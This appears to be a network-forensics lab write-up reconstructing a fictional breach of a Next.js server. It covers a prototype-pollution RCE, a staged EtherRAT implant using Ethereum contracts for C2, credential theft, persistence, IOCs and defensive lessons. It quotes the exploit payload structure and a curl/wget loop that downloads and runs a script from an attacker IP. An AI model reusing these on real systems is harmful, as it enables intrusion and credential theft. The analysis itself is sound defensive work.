Something is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an unauthorised external source. The trail led back to a single server — their public-facing web application. No failed logins, brute force, or phishing were detected, yet the attacker gained entry and established a way to return. This follows a pattern of Maromalix being targeted by attackers leveraging AI-assisted tooling. Using the captured network traffic, reconstruct the timeline and uncover exactly how this breach occurred.
The lab provides both a PCAP and an sslkeys.log. Loading the key log into Wireshark (Edit → Preferences → TLS → Pre-Master-Secret log) decrypts the TLS sessions and surfaces HTTP traffic that would otherwise be invisible. Without this step the entire attack chain remains opaque — this is the starting point for everything that follows.
Filtering on decrypted HTTP traffic immediately reveals a single external IP conducting automated reconnaissance against maromalix.cloud. At 18:42:13, 63.180.69.24 fires a rapid burst of GET and POST requests across every visible route — /contact, /checkout, /profile, /login, /dashboard — all within the same second, all with User-Agent: python-requests/2.31.0. This isn’t a human browsing; it’s a script mapping the attack surface.

The probe traffic carries two distinctive headers: Next-Action (a hash identifying a specific server-side function) and Accept: text/x-component (the RSC wire format). This fingerprints the target as a Next.js application using Server Actions. The attacker’s script iterates through routes testing whether the same action hash is callable unauthenticated.
When the probe payload changes from {"id":"test"} to the exploit structure, the attack becomes clear. The malicious payload uses prototype pollution via $1:__proto__:then to hijack the Server Action response pipeline, injecting arbitrary Node.js into the execution context:
{"then": "$1:__proto__:then", "status": "resolved_model", ...,
"_response": {"_prefix": "var res = process.mainModule.require('child_process')
.execSync('...',{'timeout':300000}).toString().trim(); ..."},
"_formData": {"get": "$1:constructor:constructor"}}
This is CVE-2025-55182 — Next.js Server Actions prototype pollution RCE. The Next-Action: x header bypasses the normal action hash lookup. The server returns HTTP 500 (the redirect throw fires after execution), but the execSync has already run.
The first live command downloads and executes a shell script from the attacker’s infrastructure:
while :; do (curl -sk https://63.176.62.199:443/s.sh -o ./s.sh 2>/dev/null || \
wget -qO ./s.sh https://63.176.62.199:443/s.sh --no-check-certificate 2>/dev/null) && \
[ -s ./s.sh ] && chmod +x ./s.sh && (nohup ./s.sh >/dev/null 2>&1 &) && break; \
sleep 300; done
The victim pulls s.sh from 63.176.62.199:443 at 18:37:20. Following that HTTP stream reveals the full stager.

s.sh does several things. It creates the hidden malware directory at ~/.local/share/.05bf0e9b, downloads a portable Node.js binary into .4dai8ovb/node so the implant has a guaranteed runtime regardless of the host environment, installs a TLS keylogger hook at /tmp/.font-unix/.fontconfig that intercepts session keys from all future HTTPS connections, writes an AES-256-CBC encrypted blob (.1d5j6rm2mg2d) to disk, then writes and executes a dropper (.kxnzl4mtez.js) that decrypts the blob and launches the main implant.
The dropper uses hardcoded key a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5 and IV d4e5f6a7b8c9d0e1 — AES-256-CBC, base64 encoded blob. Decrypting in CyberChef (From Base64 → AES Decrypt CBC) yields the Stage 3 main implant: EtherRAT.

EtherRAT’s most significant capability is using the Ethereum blockchain as a C2 directory. Rather than hardcoding an IP or domain that defenders can block, the implant queries a smart contract on mainnet to retrieve the current C2 URL. This makes traditional IOC-based blocking ineffective — the attacker can update the C2 address on-chain at any time.
The implant configures two contracts — PRIMARY on mainnet, FALLBACK on Sepolia testnet:
const CONTRACTS = [
{
name: 'PRIMARY',
contract: '0x22f96d61cf118efabc7c5bf3384734fad2f6ead4',
lookup: '0xE941A9b283006F5163EE6B01c1f23AA5951c4C8D'
},
{
name: 'FALLBACK',
contract: '0xb0cbaA51b3D1D36e8E95F4F68dfBd47ED2eaA7a4',
lookup: '0x1d978D230b51c2eF3Fd780514c00e926ad9A47b1'
}
];
At 18:37:24, the implant fires eth_call requests simultaneously to eight public Ethereum RPC endpoints — eth.llamarpc.com, mainnet.gateway.tenderly.co, rpc.flashbots.net, and others. It uses a consensus mechanism: whichever URL is returned by the majority of nodes wins. This guards against a single compromised or misbehaving RPC lying about the C2 address.

Following the stream to mainnet.gateway.tenderly.co reveals the raw eth_call response. The hex result decodes to the C2 URL stored in the contract at that moment.
The PRIMARY contract (0x22f96d61cf118efabc7c5bf3384734fad2f6ead4) was deployed to mainnet on 2025-12-05 19:13:47 UTC, roughly two months before the attack. Inspecting the contract’s transaction history on Etherscan shows nine setString calls — the attacker updating the C2 URL over time. The first such transaction (0xe4efe4d2b118229161f7023e13ab98b54180fbfb1756d11959e4f19238b9655d) represents the initial C2 URL publication. Decompiling the unverified bytecode via Dedaub identifies the read function bound to selector 0x7d434425 as getString.


One second after the blockchain query, the implant sends its first beacon to the C2. The bot ID is deterministic — an MD5 of hostname, username, CPU model, and total memory, truncated to 16 hex characters.

The C2 responds to beacon GETs with JavaScript payloads disguised as static assets (.css, .png, .gif, .jpg). Each payload is executed in-memory via AsyncFunction constructor — no files written, no disk artefacts beyond the initial implant. The stages execute in sequence:
Stage 0 (a1d91015.css) and Stage 1 (ce11f8b9.png) collect system reconnaissance — hostname, username, home directory, platform, memory, network interfaces, and checks for .ssh, .aws, .kube, and Docker socket. The recon beacon POSTs to /{botId}.

Stage 1 (4fb4c01f.gif) harvests credentials. It reads AWS credentials, SSH keys, bash history, .env files, and environment variables, filtering for sensitive keywords. The exfiltrated data POSTs to /crypto/keys — a deliberate misdirection, blending credential theft traffic with the blockchain theme of the malware.

The AWS credentials recovered from the victim:
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[production]
aws_access_key_id = AKIAI44QH8DHBEXAMPLE
aws_secret_access_key = je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY
Stage 2 (4971af34.gif) establishes persistence via five separate mechanisms simultaneously — systemd user service, XDG autostart, crontab @reboot entry, .bashrc injection, and .profile injection. The systemd service file is written with a randomly generated name:

/home/maromalix/.config/systemd/user/c16a536e1a9cb42d.service
Stage 3 (28c9f84a.jpg) installs an SSH backdoor. The attacker’s public key is written directly to /home/maromalix/.ssh/authorized_keys, commented maromalix@ether_dev — granting persistent SSH access independent of the C2 channel.

Stage 4 (0de42efe.jpg) marks the transition from automated deployment to interactive operator control. At 18:40:13 UTC, the first remote command executes: whoami, returning maromalix. This confirms the operator has verified the implant is running and has begun manual post-exploitation.

After establishing access, the attacker patches the vulnerability they used to get in — locking out any competing threat actors who might exploit the same entry point. Via the CVE, they execute:
cd /home/maromalix/app && rm -rf node_modules .next package-lock.json && \
npm install next@15.3.9 --save --legacy-peer-deps && \
npm install --include=dev --legacy-peer-deps 2>&1 | tail -3

Next.js 15.3.9 patches CVE-2025-55182. The attacker now has exclusive access.
The CIS locale blocklist (ru, be, kk, ky, tg, uz, hy, az, ka) is a standard operational security measure used by threat actors who want to avoid affecting CIS-region hosts — commonly seen in DPRK and Russian-nexus malware. Combined with the blockchain C2 evasion technique, multi-stage in-memory payload execution, and the scenario’s explicit reference to AI-assisted tooling, the TTPs align with DPRK-attributed activity.
| Phase | Action |
|---|---|
| Reconnaissance | Automated HTTP route enumeration from 63.180.69.24 against maromalix.cloud |
| Initial Access | CVE-2025-55182 Next.js Server Actions prototype pollution RCE via __proto__:then gadget |
| Execution | execSync stager command pulls s.sh from hxxps[://]63[.]176[.]62[.]199:443 |
| Stager | s.sh creates hidden dir, deploys portable Node.js, installs TLS keylogger, drops encrypted blob |
| C2 Resolution | EtherRAT queries Ethereum mainnet contract via 8 RPC endpoints to retrieve C2 URL |
| C2 Establishment | Implant beacons to hxxps[://]63[.]176[.]62[.]199:443 with bot ID 4ebfbc8aedf60511 |
| Credential Theft | AWS keys, SSH keys, .env files exfiltrated via POST /crypto/keys |
| Persistence | systemd service, XDG autostart, crontab, .bashrc, .profile — five simultaneous methods |
| SSH Backdoor | Attacker public key injected into authorized_keys (maromalix@ether_dev) |
| Remote Command | First interactive command whoami at 2026-02-10 18:40:13 UTC |
| Defense Evasion | Next.js patched to 15.3.9 to block re-exploitation via same CVE |
| Type | Value |
|---|---|
| IP (Attacker/Scanner) | 63[.]180[.]69[.]24 |
| IP (C2/Stager Server) | 63[.]176[.]62[.]199 |
| URL (Stager) | hxxps[://]63[.]176[.]62[.]199:443/s[.]sh |
| URL (C2) | hxxps[://]63[.]176[.]62[.]199:443 |
| Ethereum Contract (Primary) | 0x22f96d61cf118efabc7c5bf3384734fad2f6ead4 |
| Ethereum Contract (Fallback) | 0xb0cbaA51b3D1D36e8E95F4F68dfBd47ED2eaA7a4 |
| Ethereum Deployer Wallet | 0xE941A9b283006F5163EE6B01c1f23AA5951c4C8D |
| File (Stager) | s.sh |
| File (Dropper) | .kxnzl4mtez.js |
| File (Encrypted Blob) | .1d5j6rm2mg2d |
| File (Main Implant) | .7vfgycfd01.js |
| Directory (Malware) | ~/.local/share/.05bf0e9b |
| Bot ID | 4ebfbc8aedf60511 |
| SSH Key Comment | maromalix@ether_dev |
| Persistence (systemd) | c16a536e1a9cb42d.service |
| AES Key | a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5 |
| AES IV | d4e5f6a7b8c9d0e1 |
| Technique | ID | Description |
|---|---|---|
| Exploit Public-Facing Application | T1190 | CVE-2025-55182 Next.js Server Actions RCE |
| Unix Shell | T1059.004 | execSync spawning bash commands on victim server |
| Obfuscated Files or Information: Encrypted/Encoded File | T1027.010 | Main implant AES-256-CBC encrypted as .1d5j6rm2mg2d |
| Ingress Tool Transfer | T1105 | s.sh, portable Node.js binary, and stage payloads pulled from C2 |
| Boot or Logon Autostart: XDG Autostart Entries | T1547.013 | .desktop autostart entry written to ~/.config/autostart/ |
| Account Manipulation: SSH Authorized Keys | T1098.004 | Attacker public key injected into authorized_keys |
| Application Layer Protocol: Web Protocols | T1071.001 | C2 beaconing over HTTPS mimicking static asset requests |
| Web Service: Bidirectional Communication | T1102.001 | Ethereum blockchain used as C2 directory via eth_call |
| Exfiltration Over C2 Channel | T1041 | AWS credentials and SSH keys exfiltrated to /crypto/keys |
| Input Capture: Credential API Hooking | T1056.001 | TLS keylogger hook intercepts session keys from all HTTPS connections |
| Scheduled Task/Job: Cron | T1053.003 | @reboot crontab entry for implant persistence |
| Indicator Removal | T1070 | Next.js patched to 15.3.9 post-compromise to close entry point |
Patch Server Action frameworks immediately. CVE-2025-55182 exploits a prototype pollution gadget in Next.js Server Actions that allows unauthenticated RCE on any route that handles Server Action requests. The vulnerability exists regardless of authentication state on the route — the Next-Action: x header bypasses action binding entirely. Any Next.js application below 15.3.9 using Server Actions should be treated as critically exposed.
Blockchain-based C2 defeats traditional IOC blocking. EtherRAT resolves its C2 address by calling a smart contract on Ethereum mainnet. Blocking the C2 IP or domain does nothing — the attacker simply calls setString on the contract and all implants pick up the new address on next check-in. Detection needs to shift to monitoring eth_call traffic to public RPC endpoints (eth.llamarpc.com, mainnet.gateway.tenderly.co, etc.) from production servers, which have no legitimate reason to query Ethereum mainnet.
In-memory payload execution leaves minimal forensic footprint. EtherRAT’s stage payloads are delivered over HTTPS as fake static assets and executed entirely in memory via AsyncFunction constructor — no files written to disk, no process spawning, no shell invocation. Traditional EDR file-write and process-creation detections miss this entirely. Network-based detection of the beacon pattern (randomised paths matching /api/{8hex}/{16hex}/{8hex}.{ext}?{param}={16hex}) is more reliable.
TLS session key interception is a real persistence capability. The stager installs a Node.js hook at /tmp/.font-unix/.fontconfig that patches the tls.connect and https.request functions to capture session keys on every future TLS connection. Combined with the PCAP capture the attacker presumably maintained, this retroactively decrypts all past and future HTTPS traffic from the host. Any server-side TLS private key material, credentials, or session tokens transmitted after compromise should be considered exposed.
Five-method persistence is deliberate redundancy. Installing systemd service, XDG autostart, crontab, .bashrc, and .profile entries simultaneously means removing one or two persistence mechanisms leaves the attacker with fallback footholds. Full remediation requires enumerating and removing all five — a forensic checklist approach rather than a targeted fix.